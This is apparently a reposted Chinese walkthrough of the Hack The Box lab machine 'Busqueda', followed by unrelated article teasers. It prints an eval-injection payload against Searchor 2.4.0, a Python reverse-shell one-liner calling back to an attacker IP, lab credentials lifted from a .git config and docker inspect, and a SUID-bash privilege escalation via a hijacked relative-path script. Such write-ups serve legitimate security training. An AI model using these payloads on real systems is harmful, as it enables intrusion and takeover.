HTB-Busqueda

news2024/12/27 11:02:15

HTB-Busqueda

  • 信息收集
    • 80端口
  • svc
  • svc -> root

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
将ip和searcher.htb添加至/etc/hosts文件。
在这里插入图片描述
功能能就是你输入一个值,选择好搜索引擎后点击search,就会生成一个选择的搜索引擎里搜索你输入的值的链接。比如输入aster。

在这里插入图片描述
如果勾选了自动重定向就会使用你选择的引擎搜索你输入的值。
在这里插入图片描述

在这里插入图片描述

页面最底下有一句:Powered by Flask and Searchor 2.4.0 ,查看github的库。
在这里插入图片描述
在查看版本更新内容的时候发现searchor 2.4.2修复了一个vulnerability。
在这里插入图片描述
跟随链接进去查看具体是指什么。
在这里插入图片描述

看来是因为eval导致的任意代码执行。通过Github下载存在问题的版本,并开始阅读源代码。找到了eval所在位置。

在这里插入图片描述

使用burp suite抓包发现提交的参数信息。

在这里插入图片描述

如果将engine的值内容添加英文双引号,会出现不可用的引擎。
在这里插入图片描述

如果将query的值添加英文单引号,会出现因为错误而导致的空界面。
在这里插入图片描述

做个小实验,本意是你输入的query字符串会被输出两次。

在这里插入图片描述

比如我输入9,就会出现两个9组成的字符串。
在这里插入图片描述

输入单引号9('9)会出现什么呢?会出现语法错误。
在这里插入图片描述
这时候就可以通过eval注入一些恶意代码。

在这里插入图片描述
以加号(+)连接。

在这里插入图片描述

没错就是这个思路我们在网站的query处输入'+__import__("os").system("id")+'
在这里插入图片描述

svc

测试一下ping。

在这里插入图片描述

开始尝试反弹shell的语句。
在这里插入图片描述
似乎直接依靠命令反弹有点不好使,所以我打算制作一个shell或者直接上传nc。但是对方不为所动。

在这里插入图片描述

行吧。不过我感觉似乎有什么东西还是说python编译器在阻拦shell的建立。

在这里插入图片描述
经过测试我发现我的卡莉似乎坏了,换了个卡莉后正常(一定要保持良好的快照习惯啊,当然别忘了备份的习惯)。使用下面的python代码反弹shell。

python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.31\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'

在这里插入图片描述

svc -> root

在/var/www/app目录发现了.git。
在这里插入图片描述
肯能会涉及到git回滚,使用git log查看commit的版本会遇到安全权的问题,使用给出的命令添加安全例外。不过添加后运行git log就没动静了。
在这里插入图片描述

升级为较为完整的shell后执行git log会得到Initial commit初始提交。
在这里插入图片描述

查看系统内核时候发现可能会存在DirtyPipe。
在这里插入图片描述
在这里插入图片描述

不过经过几次对DirtyPipe的尝试后均无果。打住,继续收集信息。我们的小豌豆帮我们找到了很多网站。
在这里插入图片描述

其实就两个,将gitea.searcher.htb添加至hosts后。
在这里插入图片描述
登录界面?去找找有没有凭证。
在这里插入图片描述
去官网翻翻文档看有没有默认账号密码、默认安装路径等信息。很遗憾没有找到有用信息。回到最开始的/var/www/app里,去看看那个.git文件。
在这里插入图片描述
发现了凭证cody:jh1usoih2bkjaspwe92。
在这里插入图片描述

通过凭证登录后来到新的界面。可以看到cody先创建了一个仓库,administrator在仓库中创建了分支,administrator推送到了仓库的main分支。
在这里插入图片描述

但是我对比了一下这个仓库和/var/www/app里的,没有差距。可能cody是svc。
在这里插入图片描述
来看看/opt/scripts目录,我们没有权限直接查看system-checkup.py文件内容。

在这里插入图片描述
运行看看。

在这里插入图片描述
似乎我们能执行这三个命令docker-ps、docker-inspect、full-checkup。执行docker-ps试试。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

在这里插入图片描述

就是这个docker-inspect,貌似是我们能唯一输入命令或者语句的地方。
在这里插入图片描述
full-checkup就是对容器进行体检。
在这里插入图片描述

注意力集中在docker-inspect上吧。看官方文档。
在这里插入图片描述
附上官网文档对docker inspect的用法说明。

在这里插入图片描述
使用sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e查看960873171e2ed的Json版本的config。
在这里插入图片描述
从中发现了数据库的凭证。

在这里插入图片描述
修改ID查看f84a6b33fb5a的Json版本的config。
在这里插入图片描述
不出意外这两个密码应该不是root的密码。试试用两个密码能不能登陆gitea的administrator。

  • yuiu1hoiu4i5ho1uh
  • jI86kGUuj87guWr3RyF

使用administrator:yuiu1hoiu4i5ho1uh登录gitea的administrator用户。

在这里插入图片描述

这几个脚本对应/opt/scripts文件的几个脚本。其中system-checkup.py就是我们能一root运行的脚本。非常有趣的就是屏幕截图上的一部分代码。
在这里插入图片描述
其中的__formatcontainer是我们可控的,他在最后会调用run_command函数来执行命令。其中run_command函数内有subprocess.run。
在这里插入图片描述
我们可以控制可控变量来进行代码执行。不过经过尝试几次后我觉得我可能没有办法实现任意代码执行,或者说这里是个兔子洞。

这段估计又是一个有趣的东西。他在当前目录找full-checkup.sh。
在这里插入图片描述

这次并没用绝对路径。当我们在/opt/scripts目录执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,他是能够正常显示。
在这里插入图片描述

如果我们在/tmp目录下执行就会出现问题。
在这里插入图片描述
所以我们在/tmp目录创建一个full-checkup.sh文件内容如下:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

修改好文件权限后执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
似乎有一个脚本在对/tmp进行重置,注意一下即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/515759.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Github配置SSH密钥连接(附相关问题解决)

Github配置SSH密钥连接(附相关问题解决) 引言 当前,通过Git在本地仓库和远程仓库(如Github)之间进行操作,已不再支持密码验证,而是转为通过更安全的SSH密钥验证方式。 因此,本文将…

正态分布线性计算的方差推导(含协方差推导)

推导如下: 由于方差是每个数据与均值离差平方和的均值:即对Σ(每个数据-均值)再求一次均值👇 最终Var(X) E(X)-E(X) 因此👇 Var(X-Y) E(X-Y)-E(X-Y) …

mysql的主从复制和读写分离

1.mysql主从复制和读写分离的相关知识 1.1 什么是读写分离? 读写分离,基本的原理是让主数据库处理事务性增、改、删操作( INSERT、UPDATE、DELETE) ,而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库。 …

一个用于Allen脑图谱基因数据的工具箱|abagen

艾伦人类脑图谱(Allen Human Brain Atlas) 艾伦人类脑图谱是一个由艾伦脑科学研究所(Allen Institute for Brain Science)开发的在线基因表达图谱数据库,旨在提供人类大脑各个区域的细胞类型和基因表达信息。这个数据库包含了人类全基因组微…

【C语言】通讯录(文件版)

前言 前面我们完成了通讯录的静态版本和动态版本,虽然功能已经比较完善了,但是前面的通讯录缺少了存储联系人的能力,所以我们学习了文件的操作管理,这里我们就用上一篇文章的知识来完成这次的文章吧。 关于通讯录的前两篇文章我放…

Lecture 15:元学习Meta Learning2

目录 Meta Learning – MAML MAML Reptile Meta Learning – Gradient Descent as LSTM Meta Learning – Metric-based Meta Learning - TrainTest as RNN Meta Learning – MAML Meta Learning:让机器自动找出learning algorithm Meta Learning的三个步骤&…

Oracle的学习心得和知识总结(二十五)|Oracle数据库Real Application Testing之真实应用测试概述白皮书

目录结构 注:提前言明 本文借鉴了以下博主、书籍或网站的内容,其列表如下: 1、参考书籍:《Oracle Database SQL Language Reference》 2、参考书籍:《PostgreSQL中文手册》 3、EDB Postgres Advanced Server User Gui…

从零开始学习vue3.2项目开发

文章目录 参考B站视频:1、vue创建项目和打包1.1 安装node 版本1.2 打开vscode创建vue项目1.3 查看vite和vue版本信息1.4 运行项目1.5 打包项目1.6 安装插件自动导入vue模块1.7 其他,可忽略1.8 解决加载vue时显示的 vite vue字段(vue项目初始化…

UNIAPP实战项目笔记67 加入购物车的前端和后端交互

UNIAPP实战项目笔记67 加入购物车的前端和后端交互 思路 前端商品详情页adCart加入购物车时直接发送数据到后端 后端创建接口直接接受前端发过来的数据,更新数据库中该用户的购物车数据 案例截图 代码 后端代码 index.js var express require(express); var rou…

多个pdf怎么合并成一个pdf?教您几招快速合并的方法!

多个pdf怎么合并成一个pdf?通常来说,将多个PDF文件进行合并是非常重要的。在我们日常工作中,我们经常需要使用PDF文件,比如合同、报告等。将多个相关的PDF文件合并成一个更大的文件可以方便我们查看和管理。这样,我们就…

Notion ai进阶【找到属于Notion ai的提示词】

导语:通过一段时间的使用和实验,我发现目前Notion ai的使用带有不同方向,所展示的能力也有所不同,回顾 上篇文章,我们了解到prompt在其中扮演重要角色,而在将Notion ai带入到Discord或其它使用场景下prompt…

重要通知|Sui测试网将于5月11日重置

致Sui社区成员们: 正如之前公告所述,部分社区成员发现测试网可能会定期清除数据并重新启动。鉴于此,我们宣布计划将于2023年5月11日进行首次测试网清除。 对于想要继续读取和访问当前测试网络的社区成员,请使用由Mysten Labs在…

怎么把webp文件转换为jpg?这几种方法值得学习!

怎么把webp文件转换为jpg,我想这样的问题对于那些和图片打交道不多的人来说确实有些困难吧。在我们要处理这个问题之前,我们先来了解一下图片格式webp吧。要是知道Youtube、Gmail、Google Play 中都可以看到 WebP 的身影,而 Chrome 网上商店甚…

Games104现代游戏引擎学习笔记04

渲染管线 显卡: SIMD指令:指令级并行运算。一个指令,4次运算。处理坐标运算,矩阵运算 SIMT:一个指令在多核上,同时做同样的指令操作。 现代显卡放了无数个小小的核。 因此,在做所有的绘制算法…

PCIE设备在设备上枚举过程

根端口枚举 Root Port (RP) 在枚举过程结束时,Root Port (RP)必须设置以下寄存器: Primary Bus, Secondary Bus和Subordinate Bus numbers Memory Base和Limit IO Base和IO Limit Max Payload Size Memory Space Enable bit Endpoint (EP) Endpoint …

Oxygen Feedback Crack

Oxygen Feedback Crack Oxygen Integration为您的社区提供了一种简单有效的互动和提供反馈的方式。它易于配置和集成,并且包括用户友好的界面和许多对评论员和管理员都有用的功能。Oxygen Feedback Enterprise允许您在自己的服务器上安装软件,以便更好地…

【数据结构】线性表之顺序表

目录 一、线性表的定义二、顺序表1. 顺序表的定义2. 顺序表的结构2.1 静态顺序表2.2 动态顺序表 3. 动态顺序表的接口实现3.1 顺序表的接口3.2 接口的实现 三、顺序表总结1. 动态顺序表的优点2. 动态顺序表的缺点 结尾 一、线性表的定义 线性表是 n (n > 0) 个具有相同特性…

日志服务器的搭建

日志服务器 在centos7系统中,默认的日志系统是rsyslog,它是一类unix系统上使用的开源工具,用于在ip网络中转发日志信息,rsyslog采用模块化设计,是syslog的替代品。 rsyslog特点 实现了基本的syslog协议 直接兼容syslo…

linkindList源码分析

前言 LinkedList ,基于节点实现的双向链表的 List ,每个节点都指向前一个和后一个节点从而形成链表。 LinkedList集合同时具有List集合和Queue集合的基本特征 类图 如下 1 个接口是少于 ArrayList 的: java.util.RandomAccess 接口&#xff…

Sui正式推出学术研究奖计划

欢迎研究人员和学者提交第一轮Sui学术研究奖的资金申请。 Sui基金会诚邀来自世界各地机构的研究人员和学者申请第一轮Sui学术研究奖。申请按提交顺序排序,每个季度公布一次。 跨学科研究对于深入理解Web3及其改变世界的潜力起着关键性的作用。Sui基金会推出的学术…